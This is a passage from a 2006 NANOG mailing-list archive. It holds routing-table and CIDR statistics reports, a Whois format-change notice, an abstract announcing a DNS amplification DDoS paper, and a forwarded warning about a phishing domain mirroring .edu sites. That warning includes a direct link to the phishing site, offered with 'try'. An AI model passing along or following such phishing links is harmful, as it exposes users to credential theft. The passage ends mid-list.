- NANOG - lists.nanog.org

Re: SendGate: Sendmail Multiple Vulnerabilities (Race Condition DoS, Memory Jumps, Integer Overflow)
by Brandon Butterworth 25 Mar '06

25 Mar '06

> > Please provide reference URLs or the code, if not then stop spreading FUD. > > No. > > Talk to you after the first worm. Don't bother, it's too late then Anyone can claim to have had the 0day after the event. brandon

1 0

DNS Amplification Attacks
by Gadi Evron 24 Mar '06

24 Mar '06

In this paper we address in detail how the recent DNS DDoS attacks work. How they abuse name servers, EDNS, the recursive feature and UDP packet spoofing, as well as how the amplification effect works. Our study is based on packet captures (we provide with samples) and logs from attacks on different networks reported to have a volume of 2.8Gbps. One of these networks indicated some attacks have reached as high as 10Gbps and used as many as 140,000 exploited name servers. In the conclusions we also discuss some remediation suggestions. Given recent events, we have been encouraged to make this text available at this time. URL: http://www.isotf.org/news/DNS-Amplification-Attacks.pdf Please note that this version of this paper is prior to submission for publication and that the final version may see significant revisions. Thanks, Randy Vaughn and Gadi Evron.

27 40

com/net Whois format change notice
by Matt Larson 24 Mar '06

24 Mar '06

On March 30, VeriSign will upgrade its Whois service for .com and .net, which will now reflect registration activity in the .com and .net registry databases in near real-time. We are announcing this upgrade because the Whois output format will change slightly at the same time and we want to give notice to anyone who may have to update processes that parse this output. A sample of the revised output is included at the end of this message. Matt -- Matt Larson <mlarson(a)verisign.com> VeriSign Information Services [Sample output follows.] Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: VERISIGN.COM Registrar: NETWORK SOLUTIONS, LLC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com Name Server: NS1.CRSNIC.NET Name Server: GOLDENGATE-W2-INF6.VERISIGN.NET Name Server: BAY-W1-INF5.VERISIGN.NET Status: REGISTRAR-LOCK EPP Status: clientDeleteProhibited EPP Status: clientUpdateProhibited EPP Status: clientTransferProhibited Updated Date: 19-Nov-2004 Creation Date: 02-Jun-1995 Expiration Date: 01-Jun-2012 >>> Last update of whois database: Wed, 22 Mar 2006 13:58:54 UTC <<< NOTICE: The expiration date displayed in this record is the date the registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration. TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to ensure operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time. The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.

7 6

Weekly Routing Table Report
by Routing Table Analysis 24 Mar '06

24 Mar '06

This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats(a)lists.apnic.net If you have any comments please contact Philip Smith <pfs(a)cisco.com>. Routing Table Report 04:00 +10GMT Sat 25 Mar, 2006 Analysis Summary ---------------- BGP routing table entries examined: 184853 Prefixes after maximum aggregation: 102482 Unique aggregates announced to Internet: 90111 Total ASes present in the Internet Routing Table: 21801 Origin-only ASes present in the Internet Routing Table: 18937 Origin ASes announcing only one prefix: 9011 Transit ASes present in the Internet Routing Table: 2864 Transit-only ASes present in the Internet Routing Table: 66 Average AS path length visible in the Internet Routing Table: 4.5 Max AS path length visible: 24 Prefixes from unregistered ASNs in the Routing Table: 77 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 12 Number of addresses announced to Internet: 1514960352 Equivalent to 90 /8s, 76 /16s and 117 /24s Percentage of available address space announced: 40.9 Percentage of allocated address space announced: 60.3 Percentage of available address space allocated: 67.8 Total number of prefixes smaller than registry allocations: 90504 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 38912 Total APNIC prefixes after maximum aggregation: 16319 Prefixes being announced from the APNIC address blocks: 36704 Unique aggregates announced from the APNIC address blocks: 18003 APNIC Region origin ASes present in the Internet Routing Table: 2520 APNIC Region origin ASes announcing only one prefix: 710 APNIC Region transit ASes present in the Internet Routing Table: 393 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 18 Number of APNIC addresses announced to Internet: 218973152 Equivalent to 13 /8s, 13 /16s and 67 /24s Percentage of available APNIC address space announced: 68.5 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911 APNIC Address Blocks 58/7, 60/7, 121/8, 122/7, 124/7, 126/8, 202/7 210/7, 218/7, 220/7 and 222/8 ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 96644 Total ARIN prefixes after maximum aggregation: 57155 Prefixes being announced from the ARIN address blocks: 75819 Unique aggregates announced from the ARIN address blocks: 28948 ARIN Region origin ASes present in the Internet Routing Table: 10597 ARIN Region origin ASes announcing only one prefix: 3960 ARIN Region transit ASes present in the Internet Routing Table: 978 Average ARIN Region AS path length visible: 4.3 Max ARIN Region AS path length visible: 19 Number of ARIN addresses announced to Internet: 293216256 Equivalent to 17 /8s, 122 /16s and 32 /24s Percentage of available ARIN address space announced: 72.8 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863 ARIN Address Blocks 24/8, 63/8, 64/6, 68/7, 70/6, 74/7, 76/8, 198/7, 204/6, 208/7 and 216/8 RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 36718 Total RIPE prefixes after maximum aggregation: 24548 Prefixes being announced from the RIPE address blocks: 33746 Unique aggregates announced from the RIPE address blocks: 22731 RIPE Region origin ASes present in the Internet Routing Table: 7794 RIPE Region origin ASes announcing only one prefix: 4078 RIPE Region transit ASes present in the Internet Routing Table: 1305 Average RIPE Region AS path length visible: 5.0 Max RIPE Region AS path length visible: 19 Number of RIPE addresses announced to Internet: 242645376 Equivalent to 14 /8s, 118 /16s and 121 /24s Percentage of available RIPE address space announced: 72.3 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 RIPE Address Blocks 62/8, 80/5, 88/6, 188/8, 193/8, 194/7, 212/7 and 217/8 LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 10469 Total LACNIC prefixes after maximum aggregation: 3573 Prefixes being announced from the LACNIC address blocks: 8645 Unique aggregates announced from the LACNIC address blocks: 5148 LACNIC Region origin ASes present in the Internet Routing Table: 678 LACNIC Region origin ASes announcing only one prefix: 219 LACNIC Region transit ASes present in the Internet Routing Table: 124 Average LACNIC Region AS path length visible: 5.2 Max LACNIC Region AS path length visible: 24 Number of LACNIC addresses announced to Internet: 26025216 Equivalent to 1 /8s, 141 /16s and 29 /24s Percentage of available LACNIC address space announced: 38.8 LACNIC AS Blocks 26592-26623, 27648-28671, plus ERX transfers LACNIC Address Blocks 189/8, 190/8, 200/7 AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 2027 Total AfriNIC prefixes after maximum aggregation: 887 Prefixes being announced from the AfriNIC address blocks: 1368 Unique aggregates announced from the AfriNIC address blocks: 903 AfriNIC Region origin ASes present in the Internet Routing Table: 148 AfriNIC Region origin ASes announcing only one prefix: 44 AfriNIC Region transit ASes present in the Internet Routing Table: 23 Average AfriNIC Region AS path length visible: 4.4 Max AfriNIC Region AS path length visible: 14 Number of AfriNIC addresses announced to Internet: 3945216 Equivalent to 0 /8s, 60 /16s and 51 /24s Percentage of available AfriNIC address space announced: 11.8 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 196/8 APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4134 996 6945 211 CHINANET-BACKBONE 4755 888 258 68 Videsh Sanchar Nigam Ltd. Aut 9583 875 109 16 Sify Limited 4766 676 3923 301 Korea Telecom (KIX) 1221 620 1428 476 Telstra Pty Ltd 9498 558 212 72 BHARTI BT INTERNET LTD. 7545 525 108 71 TPG Internet Pty Ltd 17488 502 31 7 Hathway IP Over Cable Interne 17676 484 6997 107 Softbank BB Corp. 9443 414 95 82 Primus Telecommunications 4802 373 75 169 Wantree Development 2907 336 1749 312 SINET Japan 17974 334 89 32 PT TELEKOMUNIKASI INDONESIA 18101 322 68 23 Reliance Infocom Ltd Internet 17557 319 25 163 Pakistan Telecom 9929 318 218 53 China Netcom Corp. 17849 317 20 105 Telecommunications Technology 7474 305 211 232 SingTel Optus Pty Ltd 4780 280 226 16 Digital United Inc. 9837 270 77 166 Powertel Ltd ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7018 1504 6262 965 AT&T WorldNet Services 4323 1240 714 245 Time Warner Telecom 721 1011 21962 307 DLA Systems Automation Center 6197 1005 620 469 BellSouth Network Solutions, 174 961 5784 908 Cogent Communications 701 945 8048 781 UUNET Technologies, Inc. 18566 923 272 8 Covad Communications 2386 875 521 665 AT&T Data Communications Serv 1239 853 2805 601 Sprint 19029 783 152 112 New Edge Networks 209 698 3607 541 Qwest 20115 674 591 363 Charter Communications 19262 665 1964 156 Verizon Global Networks 22773 641 1480 40 Cox Communications, Inc. 11492 624 86 20 Cable One 7011 611 212 398 Citizens Utilities 6198 583 506 239 BellSouth Network Solutions, 852 577 1088 383 Telus Advanced Communications 19916 563 49 54 OLM LLC 855 546 244 64 Canadian Research Network RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 702 586 1951 461 UUNET - Commercial IP service 3301 307 1071 292 TeliaNet Sweden 3352 307 1564 31 Ibernet, Internet Access Netw 8220 289 473 268 COLT Telecommunications 3320 279 3477 231 Deutsche Telekom AG 680 243 2025 240 DFN-IP service G-WiN 3246 231 488 221 Song Networks 6746 228 89 200 Dynamic Network Technologies, 8708 216 276 201 Romania Data Systems S.A. 8551 202 197 23 Bezeq International 24863 200 40 9 LINKdotNET AS number 1257 197 710 172 SWIPnet Swedish IP Network 3269 194 2085 75 TELECOM ITALIA 3215 186 1542 88 France Telecom Transpac 9121 175 931 27 TTnet Autonomous System 786 172 1778 172 The JANET IP Service 8866 170 37 14 Bulgarian Telecommunication C 5400 167 328 136 BT Ignite European Backbone 6830 166 765 35 UPC Distribution Services 5515 161 839 120 Sonera Solution Autonomous Sy LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 597 1050 226 UniNet S.A. de C.V. 22047 384 142 10 VTR PUNTO NET S.A. 11172 319 109 82 Servicios Alestra S.A de C.V 16814 279 18 7 NSS, S.A. 14117 185 12 6 Telefonica del Sur S.A. 7303 157 75 23 Telecom Argentina Stet-France 6147 154 126 22 Telefonica Del Peru 11556 132 80 4 Cable-Wireless Panama 5639 127 12 9 Telecommunications Services o 19169 124 8 30 Telconet 6503 121 149 75 AVANTEL, S.A. 10481 121 48 8 Prima S.A. 21826 120 16 19 INTERCABLE 6505 106 88 78 Global One Communicaoes Ltda 23216 100 20 7 RAMtelecom Telecomunicaciones 18822 99 8 10 TELEFONICA MANQUEHUE 25620 97 6 3 COTAS LTDA 7315 96 6 3 Grupo Rey Moreno 19429 95 52 42 E.T.B. 14522 94 13 5 SatNet S.A. AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 3741 276 803 232 The Internet Solution 8452 165 60 7 TEDATA 6713 145 135 11 Itissalat Al-MAGHRIB 2018 124 314 105 Tertiary Education Network 15475 123 84 4 Nile Online 5536 121 8 18 Internet Egypt Network 24835 83 50 7 RAYA Telecom - Egypt 2905 74 155 67 The Internetworking Company o 20928 57 16 2 Noor Advanced Technologies AS 5713 39 294 35 Telkom SA Ltd 12455 38 6 3 Jambonet Autonomous system 15706 31 8 3 Sudatel Internet Exchange Aut 33774 30 7 21 AS Number for Telecom Algeria 23889 26 8 11 MAURITIUS TELECOM 8524 24 1 4 AUCEGYPT Autonomous System 16637 23 10 21 Johnnic e-Ventures 10798 22 1 13 Standard Bank of South Africa 8346 20 13 17 SONATEL-AS Autonomous System 21280 20 5 5 Swift Global Kenya Ltd.Is an 2561 19 6 2 Egyptian Universities Network Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 4323 1240 995 Time Warner Telecom 18566 923 915 Covad Communications 9583 875 859 Sify Limited 4755 888 820 Videsh Sanchar Nigam Ltd. Aut 4134 996 785 CHINANET-BACKBONE 721 1011 704 DLA Systems Automation Center 19029 783 671 New Edge Networks 11492 624 604 Cable One 22773 641 601 Cox Communications, Inc. 6197 1005 536 BellSouth Network Solutions, 19262 665 509 Verizon Global Networks 19916 563 509 OLM LLC 5668 527 502 CenturyTel Internet Holdings, 17488 502 495 Hathway IP Over Cable Interne 9498 558 486 BHARTI BT INTERNET LTD. 855 546 482 Canadian Research Network 7545 525 454 TPG Internet Pty Ltd 7757 473 454 AT&T Broadband 3602 537 428 Sprint Canada, Inc. 812 438 410 Rogers WAVE List of Unregistered ASNs (Global) ---------------------------------- Bad AS Designation Network Transit AS Description 65211 PRIVATE 61.139.76.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 61.139.77.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 61.188.9.0/27 4134 CHINANET-BACKBONE 65211 PRIVATE 61.188.176.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 61.188.177.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 61.188.178.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 61.188.179.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.0.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.1.0/27 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.2.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.3.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.6.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.12.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.13.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.14.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.15.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.19.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.23.128/25 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.25.0/25 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.25.128/25 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.30.0/23 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.32.0/21 4134 CHINANET-BACKBONE 65211 PRIVATE 125.64.40.0/26 4134 CHINANET-BACKBONE 65005 PRIVATE 159.153.148.0/22 24989 IX Europe Frankfurt 65211 PRIVATE 202.98.123.0/24 4134 CHINANET-BACKBONE 65505 PRIVATE 206.252.200.192/27 8002 Stealth Communicatio 65211 PRIVATE 218.6.168.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.169.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.170.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.171.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.172.0/25 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.172.128/25 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.173.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.174.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.175.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.196.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.197.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.6.198.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.89.166.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.89.167.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.89.168.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.89.169.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.89.170.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.89.171.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 218.89.172.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.0.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.1.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.2.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.3.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.4.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.5.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.6.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.7.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.8.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.9.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.10.0/27 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.11.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.12.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.13.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.14.0/23 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.17.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.18.0/23 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.20.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.21.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.22.0/25 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.22.128/26 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.22.192/26 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.23.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.24.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.25.0/25 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.25.128/25 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.26.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.27.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.28.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 221.236.29.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 222.211.63.0/24 4134 CHINANET-BACKBONE 65211 PRIVATE 222.213.0.0/24 4134 CHINANET-BACKBONE Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 132.0.0.0/10 721 DLA Systems Automation Center 137.0.0.0/13 721 DLA Systems Automation Center 158.0.0.0/13 721 DLA Systems Automation Center 183.206.196.0/24 2188 FR-RENATER-ASTER 192.44.0.0/24 5501 Fraunhofer Gesellschaft 192.44.0.0/19 702 UUNET - Commercial IP service 192.70.164.0/24 25689 National Research Council of 192.72.0.0/18 4780 Digital United Inc. 192.72.0.0/16 4780 Digital United Inc. 192.84.205.0/24 719 LANLINK autonomous system 192.119.135.0/24 270 NASA 192.172.0.0/19 721 DLA Systems Automation Center Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:18 /9:9 /10:8 /11:27 /12:87 /13:199 /14:353 /15:695 /16:8773 /17:3144 /18:5153 /19:11438 /20:12835 /21:11077 /22:14185 /23:15318 /24:100565 /25:349 /26:248 /27:219 /28:62 /29:24 /30:35 /31:0 /32:32 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 18566 906 923 Covad Communications 7018 798 1504 AT&T WorldNet Services 6197 794 1005 BellSouth Network Solutions, 19029 710 783 New Edge Networks 9583 694 875 Sify Limited 11492 615 624 Cable One 4323 599 1240 Time Warner Telecom 2386 598 875 AT&T Data Communications Serv 19916 557 563 OLM LLC 7011 523 611 Citizens Utilities 4766 485 676 Korea Telecom (KIX) 7757 455 473 AT&T Broadband 6198 441 583 BellSouth Network Solutions, 855 420 546 Canadian Research Network 5668 407 527 CenturyTel Internet Holdings, 1239 380 853 Sprint 702 369 586 UUNET - Commercial IP service 15270 362 392 PaeTec.net -a division of Pae 6517 347 377 Yipes Communications, Inc. 22773 336 641 Cox Communications, Inc. Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:3 8:38 12:1619 13:1 15:12 16:3 17:3 18:4 20:43 24:871 25:1 30:2 32:67 38:204 40:54 44:3 47:6 52:4 55:1 56:3 57:33 58:148 59:187 60:176 61:828 62:806 63:1917 64:3114 65:2229 66:3066 67:611 68:679 69:1441 70:313 71:63 72:649 73:23 74:26 80:751 81:612 82:547 83:368 84:363 85:492 86:383 87:262 88:48 89:96 124:195 125:283 128:160 129:174 130:108 131:318 132:33 133:8 134:150 135:47 136:175 137:67 138:192 139:74 140:488 141:137 142:393 143:157 144:232 145:40 146:324 147:134 148:334 149:188 150:114 151:79 152:64 153:107 154:6 155:195 156:98 157:120 158:166 159:166 160:87 161:70 162:218 163:144 164:179 165:180 166:147 167:235 168:476 169:135 170:320 171:12 172:1 183:1 190:35 192:5762 193:3394 194:2542 195:1798 196:776 198:3875 199:3262 200:4289 201:670 202:6566 203:6868 204:3933 205:2092 206:2427 207:2935 208:2036 209:3691 210:1927 211:816 212:1242 213:1474 214:337 215:42 216:4087 217:1164 218:257 219:180 220:651 221:373 222:160 End of report

1 0

New depths in phishing
by Lucy E. Lynch 24 Mar '06

24 Mar '06

edu skimming - try http://umich.edu.com/ nice! -- Lucy E. Lynch Academic User Services Computing Center University of Oregon llynch @darkwing.uoregon.edu (541) 346-1774 ---------- Forwarded message ---------- Date: Thu, 23 Mar 2006 12:37:24 -0800 From: David Lundy <dlundy(a)pacific.edu> Reply-To: UNIversity Security Operations Group <unisog(a)lists.sans.org> To: unisog(a)lists.sans.org Subject: Re: [unisog] Problems with EDU.COM domain It looks like a wild card. Things like zzz.edu.com resolve. David Lundy Acting IT Security Officer University of the Pacific >>> YorkJ(a)brcc.edu 03/23/06 11:09 AM >>> Wow, even lowly community colleges are listed in the phishing sites edu.com. They must have copied the entire .edu domain. I just called Educause (.edu registrar) to let them know about it--the lady I talked to hadn't seen it yet, but promised to send the info to their management. Thanks John John York Network Engineer Blue Ridge Community College _______________________________________________ unisog mailing list unisog(a)lists.sans.org http://www.dshield.org/mailman/listinfo/unisog _______________________________________________ unisog mailing list unisog(a)lists.sans.org http://www.dshield.org/mailman/listinfo/unisog

4 8

The Cidr Report
by cidr-report＠potaroo.net 24 Mar '06

24 Mar '06

This report has been generated at Fri Mar 24 21:48:45 2006 AEST. The report analyses the BGP Routing Table of an AS4637 (Reach) router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org/as4637 for a current version of this report. Recent Table History Date Prefixes CIDR Agg 17-03-06 180528 119330 18-03-06 180570 119271 19-03-06 180655 119199 20-03-06 180634 119252 21-03-06 180743 119280 22-03-06 181051 119353 23-03-06 180991 119389 24-03-06 180928 119431 AS Summary 21709 Number of ASes in routing system 9034 Number of ASes announcing only one prefix 1494 Largest number of prefixes announced by an AS AS7018 : ATT-INTERNET4 - AT&T WorldNet Services 91435008 Largest address span announced by an AS (/32s) AS721 : DLA-ASNBLOCK-AS - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 24Mar06 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 180968 119422 61546 34.0% All ASes AS4323 1237 249 988 79.9% TWTC - Time Warner Telecom, Inc. AS18566 923 9 914 99.0% COVAD - Covad Communications Co. AS4134 988 258 730 73.9% CHINANET-BACKBONE No.31,Jin-rong Street AS721 1009 311 698 69.2% DLA-ASNBLOCK-AS - DoD Network Information Center AS22773 638 48 590 92.5% CCINET-2 - Cox Communications Inc. AS7018 1494 966 528 35.3% ATT-INTERNET4 - AT&T WorldNet Services AS6197 1004 479 525 52.3% BATI-ATL - BellSouth Network Solutions, Inc AS19916 563 65 498 88.5% ASTRUM-0001 - OLM LLC AS855 546 64 482 88.3% CANET-ASN-4 - Aliant Telecom AS7757 473 19 454 96.0% CCCH-AS4 - Comcast Cable Communications Holdings, Inc AS17488 514 61 453 88.1% HATHWAY-NET-AP Hathway IP Over Cable Internet AS3602 538 109 429 79.7% AS3602-RTI - Rogers Telecom Inc. AS812 438 28 410 93.6% ROGERS-CABLE - Rogers Cable Inc. AS9498 560 157 403 72.0% BBIL-AP BHARTI BT INTERNET LTD. AS4755 737 344 393 53.3% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS17676 484 107 377 77.9% JPNIC-JP-ASN-BLOCK Japan Network Information Center AS15270 387 36 351 90.7% AS-PAETEC-NET - PaeTec.net -a division of PaeTecCommunications, Inc. AS11492 606 260 346 57.1% CABLEONE - CABLE ONE AS6198 584 239 345 59.1% BATI-MIA - BellSouth Network Solutions, Inc AS4766 644 304 340 52.8% KIXS-AS-KR Korea Telecom AS6467 386 49 337 87.3% ESPIRECOMM - Xspedius Communications Co. AS22047 384 86 298 77.6% VTR BANDA ANCHA S.A. AS18101 322 28 294 91.3% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS14654 301 14 287 95.3% WAYPORT - Wayport AS9583 877 596 281 32.0% SIFY-AS-IN Sify Limited AS3352 306 31 275 89.9% TELEFONICA-DATA-ESPANA Internet Access Network of TDE AS6167 339 64 275 81.1% CELLCO-PART - Cellco Partnership AS19262 619 344 275 44.4% VZGNI-TRANSIT - Verizon Internet Services Inc. AS5668 522 253 269 51.5% AS-5668 - CenturyTel Internet Holdings, Inc. AS1239 851 603 248 29.1% SPRINTLINK - Sprint Total 19274 6181 13093 67.9% Top 30 total Possible Bogus Routes 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 61.4.64.0/20 AS9929 CNCNET-CN China Netcom Corp. 64.17.32.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.33.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.37.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.79.192.0/20 AS31898 NAMEI - Name Intelligence, Inc. 64.90.128.0/20 AS6971 ESCH - Eschelon Telecommunications, Inc. 66.7.112.0/20 AS29933 OFF-CAMPUS-TELECOMMUNICATIONS - Off Campus Telecommunications 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.37.96.0/20 AS3764 IA-HOU-AS - Internet America, Inc. 66.51.134.0/24 AS29876 LNTC - Latency LLC 66.96.0.0/20 AS3770 WORLDPATH-AS - WorldPath Internet Services 66.117.0.0/19 AS33104 FUZION-COLO - FUZION COLO 66.117.0.0/21 AS30033 NHI-NETWORKS - NHI Networks 66.117.8.0/24 AS174 COGENT Cogent/PSI 66.117.23.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.117.25.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.117.26.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.117.27.0/24 AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. 66.187.96.0/24 AS10026 ANC Asia Netcom Corporation 66.187.108.0/24 AS10026 ANC Asia Netcom Corporation 66.187.109.0/24 AS10026 ANC Asia Netcom Corporation 66.235.158.0/23 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 69.31.151.0/24 AS26627 AS-PILOSOFT - Pilosoft, Inc. 69.39.193.0/24 AS25973 MZIMA - Mzima Networks, Inc. 69.39.195.0/24 AS25973 MZIMA - Mzima Networks, Inc. 69.39.196.0/24 AS25973 MZIMA - Mzima Networks, Inc. 72.26.224.0/20 AS32736 INFORTECH-001 - Infortech Corporation 89.106.96.0/19 AS29448 OPTILINK Optilink ASN 91.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 91.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS Project. 125.213.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 131.64.0.0/12 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 132.0.0.0/10 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 137.0.0.0/13 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 138.136.0.0/13 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 151.135.0.0/16 